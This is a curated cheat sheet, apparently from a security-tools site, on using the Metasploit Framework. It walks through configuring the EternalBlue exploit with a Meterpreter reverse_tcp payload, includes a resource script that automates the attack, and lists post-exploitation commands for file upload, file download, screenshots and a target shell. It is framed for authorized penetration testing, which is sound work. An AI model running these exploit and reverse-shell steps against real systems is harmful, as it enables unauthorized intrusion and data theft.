~/signal
terminal
msf6 > search type:exploit msf6 > use <module> msf6 exploit(...) > show options msf6 exploit(...) > check
tool
Metasploit Framework: a platform for testing known flaws
A modular framework for testing vulnerabilities in authorized engagements.
Curated by Signal · 10/5/2026
What it is
Metasploit Framework packages known exploits, payloads, and supporting tools into one platform, so testers can check whether a vulnerability is really exploitable in an authorized engagement. Defenders also use it to verify that patches and detections actually work. Use it only against systems you own or are explicitly authorized to test.
Starting Metasploit
# Launch the console
msfconsole
# Launch quietly, skip the banner
msfconsole -q
# Launch and run commands from a resource script
msfconsole -r script.rc
Searching for modules
# Search by keyword
search eternalblue
# Search by type
search type:exploit platform:windows
# Search by CVE
search cve:2021-44228
# Search by name fragment
search name:smb
Selecting and configuring a module
# Select a module
use exploit/windows/smb/ms17_010_eternalblue
# Show available options
show options
# Set a required option
set RHOSTS 192.168.1.10
# Set the target port (if different from default)
set RPORT 445
# Show available payloads for this exploit
show payloads
# Set a payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Set payload-specific options
set LHOST 192.168.1.5
set LPORT 4444
Running an exploit
# Check if the target is likely vulnerable, without exploiting
check
# Run the exploit
exploit
# Run in the background (returns control immediately)
run -j
Working with sessions
# List active sessions
sessions -l
# Interact with a session
sessions -i 1
# Background the current session (Ctrl+Z inside a session, or:)
background
# Kill a session
sessions -k 1
Meterpreter basics (once a session is active)
# Show system information
sysinfo
# List running processes
ps
# Get current user
getuid
# Upload a file to the target
upload local_file.txt C:\\Users\\Public\\
# Download a file from the target
download C:\\Users\\Public\\file.txt
# Take a screenshot
screenshot
# Drop into a shell on the target
shell
Auxiliary modules (scanning, no exploitation)
# Use a port scanner module
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
run
# Use an SMB version scanner
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
Database integration
# Check database connection status
db_status
# Import an Nmap scan into the Metasploit database
db_import nmap_scan.xml
# List hosts discovered so far
hosts
# List services discovered so far
services
Resource scripts (automation)
# Example script.rc contents:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run
# Run it
msfconsole -r script.rc
Typical workflow
# 1. Scan the target and import results
db_import nmap_scan.xml
# 2. Search for a matching exploit module
search type:exploit platform:windows smb
# 3. Configure and check before firing
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
check
# 4. Run the exploit if check confirms vulnerability
exploit
# 5. Interact with the resulting session
sessions -i 1
Curated summary. The original work belongs to its authors.
#pentest#exploitation
Related reading
~/signal
terminal
$ nmap -sV -p 22,80,443 scanme.nmap.org Starting Nmap ( https://nmap.org ) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp closed https
Nmap: network discovery and port scanning
capture.pcap
packet capture
No. Source Destination Proto Info 1 192.0.2.10 198.51.100.7 DNS Standard query A example.com 2 198.51.100.7 192.0.2.10 DNS Standard query response 3 192.0.2.10 203.0.113.5 TCP 52144 → 443 [SYN] 4 203.0.113.5 192.0.2.10 TCP 443 → 52144 [SYN, ACK] 5 192.0.2.10 203.0.113.5 TLS Client Hello
Wireshark: see what is on the wire
illustration✦✦
unravel